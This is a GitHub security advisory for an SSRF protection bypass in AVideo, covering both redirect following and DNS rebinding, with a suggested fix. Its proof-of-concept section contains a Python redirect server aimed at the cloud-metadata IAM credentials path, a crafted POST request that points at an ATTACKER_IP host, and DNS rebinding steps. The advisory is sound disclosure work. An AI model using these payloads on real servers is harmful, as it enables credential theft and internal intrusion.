GHSA-2HCH-C97C-G99X

Vulnerability from github – Published: 2026-05-05 22:16 – Updated: 2026-05-13 14:21
VLAI?
Summary
AVideo has SSRF Protection Bypass via HTTP Redirect and DNS Rebinding in isSSRFSafeURL()
Details

Summary

Two endpoints in AVideo call isSSRFSafeURL() to validate user-supplied URLs, then fetch them using bare file_get_contents() without disabling PHP's automatic redirect following. An attacker can supply a URL pointing to a server they control that returns a 302 redirect to an internal/cloud-metadata address (e.g., http://169.254.169.254/latest/meta-data/). Since isSSRFSafeURL() only validates the initial URL, the redirect target bypasses all SSRF protections.

A secondary finding is that 6+ callers of isSSRFSafeURL() discard the $resolvedIP out-parameter meant for DNS pinning, leaving them vulnerable to DNS rebinding TOCTOU attacks.

Severity: High — CVSS 3.1: 7.7 (AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N)

Details

Finding 1: Redirect-Based SSRF Bypass

Vulnerable code — plugin/AI/receiveAsync.json.php (line ~162–165):

// SSRF Protection: Validate URL before fetching
if (!isSSRFSafeURL($imageUrl)) {
    // blocked
} else {
    $imageContent = file_get_contents($imageUrl);  // ← FOLLOWS REDIRECTS!
}

Vulnerable code — objects/EpgParser.php (line ~358–362):

if (!isSSRFSafeURL($this->url)) {
    throw new \RuntimeException('URL blocked by SSRF protection');
}
$this->content = @file_get_contents($this->url);  // ← FOLLOWS REDIRECTS!

Safe code for comparison — objects/functions.php, url_get_contents():

$opts = ['http' => ['follow_location' => 0]];  // Disable auto-redirect
$context = stream_context_create($opts);
for ($redirectCount = 0; $redirectCount <= 5; $redirectCount++) {
    $fetched = file_get_contents($currentUrl, false, $context);
    // ... parse Location header ...
    if ($redirectTarget) {
        if (!isSSRFSafeURL($redirectTarget)) {  // Re-validates EACH hop
            return false;
        }
        $currentUrl = $redirectTarget;
        continue;
    }
    $tmp = $fetched;
    break;
}

Root cause: The SSRF redirect protection (follow_location=0 + manual redirect loop with per-hop isSSRFSafeURL() re-validation) was correctly implemented in url_get_contents() but NOT propagated to these two endpoints that call file_get_contents() directly. PHP's default follow_location is 1 (follow redirects).

Finding 2: DNS Rebinding TOCTOU (Multiple Callers)

isSSRFSafeURL() provides a $resolvedIP out-parameter for DNS pinning via CURLOPT_RESOLVE. Only 1 of 9 callers (plugin/LiveLinks/proxy.php) uses it. The remaining 8 callers discard it and pass the original hostname to the fetching function, which resolves DNS independently — creating a TOCTOU race window exploitable via DNS rebinding (TTL=0).

Affected callers (no DNS pinning): - objects/aVideoEncoderReceiveImage.json.php — 4 call sites - objects/aVideoEncoder.json.php — 1 call site - plugin/BulkEmbed/save.json.php — 1 call site - plugin/AI/receiveAsync.json.php — 1 call site - objects/EpgParser.php — 1 call site - plugin/Scheduler/Scheduler.php — 1 call site

PoC

Redirect Bypass PoC

  1. Attacker runs an HTTP server that returns a 302 redirect:
from http.server import HTTPServer, BaseHTTPRequestHandler

class RedirectHandler(BaseHTTPRequestHandler):
    def do_GET(self):
        self.send_response(302)
        self.send_header("Location", "http://169.254.169.254/latest/meta-data/iam/security-credentials/")
        self.end_headers()

HTTPServer(("0.0.0.0", 8888), RedirectHandler).serve_forever()
  1. Attacker triggers AI image generation and intercepts the callback:
POST /plugin/AI/receiveAsync.json.php
Content-Type: application/x-www-form-urlencoded

type=image&token=VALID_TOKEN&ai_responses_id=ID&response[data][0][url]=http://ATTACKER_IP:8888/redir
  1. isSSRFSafeURL("http://ATTACKER_IP:8888/redir") resolves attacker IP → public → passes
  2. file_get_contents("http://ATTACKER_IP:8888/redir") follows 302 to http://169.254.169.254/... — no SSRF re-check occurs
  3. Cloud metadata (including IAM credentials) is saved as a video thumbnail, retrievable by the attacker

Control test: Replace the redirect target with a legitimate public URL — isSSRFSafeURL() passes and the content is fetched normally, confirming the function works for non-malicious URLs.

DNS Rebinding PoC

  1. Configure a domain with TTL=0 DNS that alternates:
  2. First query: public IP (passes isSSRFSafeURL)
  3. Second query: 127.0.0.1 (reaches internal services)
  4. Submit http://rebind.attacker.com/image.jpg to any affected endpoint
  5. isSSRFSafeURL() resolves → public IP → passes (discards $resolvedIP)
  6. url_get_contents() / file_get_contents() resolves again → 127.0.0.1 → SSRF achieved

Impact

An authenticated attacker can force the AVideo server to make HTTP requests to arbitrary internal hosts, including: - Cloud metadata endpoints (169.254.169.254) — exfiltrate IAM credentials, instance identity - Internal services on localhost or private network (databases, admin panels, monitoring) - Port scanning of the internal network using the server as a proxy

The exfiltrated data is stored as video thumbnails/images, making it retrievable through the application's public interface.

Suggested Fix

Fix 1 (Redirect bypass — immediate): Route both affected files through url_get_contents() which already handles redirects safely, or add explicit no-redirect context:

$ctx = stream_context_create(['http' => ['follow_location' => 0]]);
$imageContent = file_get_contents($imageUrl, false, $ctx);

Fix 2 (DNS rebinding — defense-in-depth): Update all callers to capture $resolvedIP and pass it to a DNS-pinning-aware fetch function using CURLOPT_RESOLVE.

Credit

Kai Aizen kai.aizen.dev@gmail.com

Severity ?
7.7 (High)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "wwbn/avideo"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "29.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-43884"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-05T22:16:33Z",
    "nvd_published_at": "2026-05-11T22:22:13Z",
    "severity": "HIGH"
  },
  "details": "### Summary\n\nTwo endpoints in AVideo call `isSSRFSafeURL()` to validate user-supplied URLs, then fetch them using bare `file_get_contents()` **without disabling PHP\u0027s automatic redirect following**. An attacker can supply a URL pointing to a server they control that returns a 302 redirect to an internal/cloud-metadata address (e.g., `http://169.254.169.254/latest/meta-data/`). Since `isSSRFSafeURL()` only validates the *initial* URL, the redirect target bypasses all SSRF protections.\n\nA secondary finding is that 6+ callers of `isSSRFSafeURL()` discard the `$resolvedIP` out-parameter meant for DNS pinning, leaving them vulnerable to DNS rebinding TOCTOU attacks.\n\n**Severity:** High \u2014 CVSS 3.1: 7.7 (AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N)\n\n### Details\n\n#### Finding 1: Redirect-Based SSRF Bypass\n\n**Vulnerable code \u2014 `plugin/AI/receiveAsync.json.php` (line ~162\u2013165):**\n\n```php\n// SSRF Protection: Validate URL before fetching\nif (!isSSRFSafeURL($imageUrl)) {\n    // blocked\n} else {\n    $imageContent = file_get_contents($imageUrl);  // \u2190 FOLLOWS REDIRECTS!\n}\n```\n\n**Vulnerable code \u2014 `objects/EpgParser.php` (line ~358\u2013362):**\n\n```php\nif (!isSSRFSafeURL($this-\u003eurl)) {\n    throw new \\RuntimeException(\u0027URL blocked by SSRF protection\u0027);\n}\n$this-\u003econtent = @file_get_contents($this-\u003eurl);  // \u2190 FOLLOWS REDIRECTS!\n```\n\n**Safe code for comparison \u2014 `objects/functions.php`, `url_get_contents()`:**\n\n```php\n$opts = [\u0027http\u0027 =\u003e [\u0027follow_location\u0027 =\u003e 0]];  // Disable auto-redirect\n$context = stream_context_create($opts);\nfor ($redirectCount = 0; $redirectCount \u003c= 5; $redirectCount++) {\n    $fetched = file_get_contents($currentUrl, false, $context);\n    // ... parse Location header ...\n    if ($redirectTarget) {\n        if (!isSSRFSafeURL($redirectTarget)) {  // Re-validates EACH hop\n            return false;\n        }\n        $currentUrl = $redirectTarget;\n        continue;\n    }\n    $tmp = $fetched;\n    break;\n}\n```\n\n**Root cause:** The SSRF redirect protection (`follow_location=0` + manual redirect loop with per-hop `isSSRFSafeURL()` re-validation) was correctly implemented in `url_get_contents()` but NOT propagated to these two endpoints that call `file_get_contents()` directly. PHP\u0027s default `follow_location` is `1` (follow redirects).\n\n#### Finding 2: DNS Rebinding TOCTOU (Multiple Callers)\n\n`isSSRFSafeURL()` provides a `$resolvedIP` out-parameter for DNS pinning via `CURLOPT_RESOLVE`. Only 1 of 9 callers (`plugin/LiveLinks/proxy.php`) uses it. The remaining 8 callers discard it and pass the original hostname to the fetching function, which resolves DNS independently \u2014 creating a TOCTOU race window exploitable via DNS rebinding (TTL=0).\n\n**Affected callers (no DNS pinning):**\n- `objects/aVideoEncoderReceiveImage.json.php` \u2014 4 call sites\n- `objects/aVideoEncoder.json.php` \u2014 1 call site\n- `plugin/BulkEmbed/save.json.php` \u2014 1 call site\n- `plugin/AI/receiveAsync.json.php` \u2014 1 call site\n- `objects/EpgParser.php` \u2014 1 call site\n- `plugin/Scheduler/Scheduler.php` \u2014 1 call site\n\n### PoC\n\n#### Redirect Bypass PoC\n\n1. Attacker runs an HTTP server that returns a 302 redirect:\n\n```python\nfrom http.server import HTTPServer, BaseHTTPRequestHandler\n\nclass RedirectHandler(BaseHTTPRequestHandler):\n    def do_GET(self):\n        self.send_response(302)\n        self.send_header(\"Location\", \"http://169.254.169.254/latest/meta-data/iam/security-credentials/\")\n        self.end_headers()\n\nHTTPServer((\"0.0.0.0\", 8888), RedirectHandler).serve_forever()\n```\n\n2. Attacker triggers AI image generation and intercepts the callback:\n\n```\nPOST /plugin/AI/receiveAsync.json.php\nContent-Type: application/x-www-form-urlencoded\n\ntype=image\u0026token=VALID_TOKEN\u0026ai_responses_id=ID\u0026response[data][0][url]=http://ATTACKER_IP:8888/redir\n```\n\n3. `isSSRFSafeURL(\"http://ATTACKER_IP:8888/redir\")` resolves attacker IP \u2192 public \u2192 **passes**\n4. `file_get_contents(\"http://ATTACKER_IP:8888/redir\")` follows 302 to `http://169.254.169.254/...` \u2014 **no SSRF re-check occurs**\n5. Cloud metadata (including IAM credentials) is saved as a video thumbnail, retrievable by the attacker\n\n**Control test:** Replace the redirect target with a legitimate public URL \u2014 `isSSRFSafeURL()` passes and the content is fetched normally, confirming the function works for non-malicious URLs.\n\n#### DNS Rebinding PoC\n\n1. Configure a domain with TTL=0 DNS that alternates:\n   - First query: public IP (passes `isSSRFSafeURL`)\n   - Second query: `127.0.0.1` (reaches internal services)\n2. Submit `http://rebind.attacker.com/image.jpg` to any affected endpoint\n3. `isSSRFSafeURL()` resolves \u2192 public IP \u2192 passes (discards `$resolvedIP`)\n4. `url_get_contents()` / `file_get_contents()` resolves again \u2192 `127.0.0.1` \u2192 SSRF achieved\n\n### Impact\n\nAn authenticated attacker can force the AVideo server to make HTTP requests to arbitrary internal hosts, including:\n- **Cloud metadata endpoints** (169.254.169.254) \u2014 exfiltrate IAM credentials, instance identity\n- **Internal services** on localhost or private network (databases, admin panels, monitoring)\n- **Port scanning** of the internal network using the server as a proxy\n\nThe exfiltrated data is stored as video thumbnails/images, making it retrievable through the application\u0027s public interface.\n\n### Suggested Fix\n\n**Fix 1 (Redirect bypass \u2014 immediate):** Route both affected files through `url_get_contents()` which already handles redirects safely, or add explicit no-redirect context:\n```php\n$ctx = stream_context_create([\u0027http\u0027 =\u003e [\u0027follow_location\u0027 =\u003e 0]]);\n$imageContent = file_get_contents($imageUrl, false, $ctx);\n```\n\n**Fix 2 (DNS rebinding \u2014 defense-in-depth):** Update all callers to capture `$resolvedIP` and pass it to a DNS-pinning-aware fetch function using `CURLOPT_RESOLVE`.\n\n### Credit\n\nKai Aizen \u003ckai.aizen.dev@gmail.com\u003e",
  "id": "GHSA-2hch-c97c-g99x",
  "modified": "2026-05-13T14:21:00Z",
  "published": "2026-05-05T22:16:33Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-2hch-c97c-g99x"
    },
    {
      "type": "WEB",
      "url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-2hch-c97c-g99xg"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-43884"
    },
    {
      "type": "WEB",
      "url": "https://github.com/WWBN/AVideo/commit/603e7bf77a835584387327e35560262feb075db3"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/WWBN/AVideo"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "AVideo has SSRF Protection Bypass via HTTP Redirect and DNS Rebinding in isSSRFSafeURL()"
}


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